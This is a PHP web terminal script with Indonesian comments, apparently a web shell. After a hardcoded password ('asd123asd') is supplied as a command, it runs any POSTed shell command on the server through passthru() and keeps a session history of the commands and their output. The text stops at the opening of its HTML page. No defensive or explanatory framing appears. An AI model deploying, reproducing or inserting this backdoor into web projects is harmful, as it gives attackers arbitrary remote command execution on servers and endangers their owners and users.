session_start();$output = '';$commandHistory = isset($_SESSION['command_history']) ? $_SESSION['command_history'] : array();$currentDirectory = isset($_SESSION['current_directory']) ? $_SESSION['current_directory'] : getcwd();// Fungsi untuk memeriksa apakah pengguna sudah login atau belumfunction isUserLoggedIn() { return isset($_SESSION['user_authenticated']) && $_SESSION['user_authenticated'] === true;}// Fungsi untuk melakukan proses loginfunction loginUser($password) { // Ganti ini dengan password yang sesuai $correctPassword = 'asd123asd'; if ($password === $correctPassword) { $_SESSION['user_authenticated'] = true; return true; } else { return false; }}// Fungsi untuk logoutfunction logoutUser() { $_SESSION['user_authenticated'] = false;}if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['command'])) { $command = $_POST['command']; if (isUserLoggedIn()) { if ($command === 'logout') { logoutUser(); $output = 'Logout berhasil!'; } elseif ($command === 'clear') { // Handle 'clear' command $commandHistory = array(); $output = ''; } else { // Execute the command using passthru ob_start(); passthru($command, $returnValue); $output = ob_get_clean(); $commandHistory[] = array('command' => $command, 'output' => $output); $commandHistory = array_slice($commandHistory, -10, 10); } } else { // Jika pengguna belum login, coba login dengan command sebagai password if (loginUser($command)) { $output = 'Login berhasil! Silakan gunakan terminal ini.'; } else { $output = 'Anda belum login.'; } } $_SESSION['command_history'] = $commandHistory; $_SESSION['current_directory'] = $currentDirectory;}<!DOCTYPE html><html lang="en">
<meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0">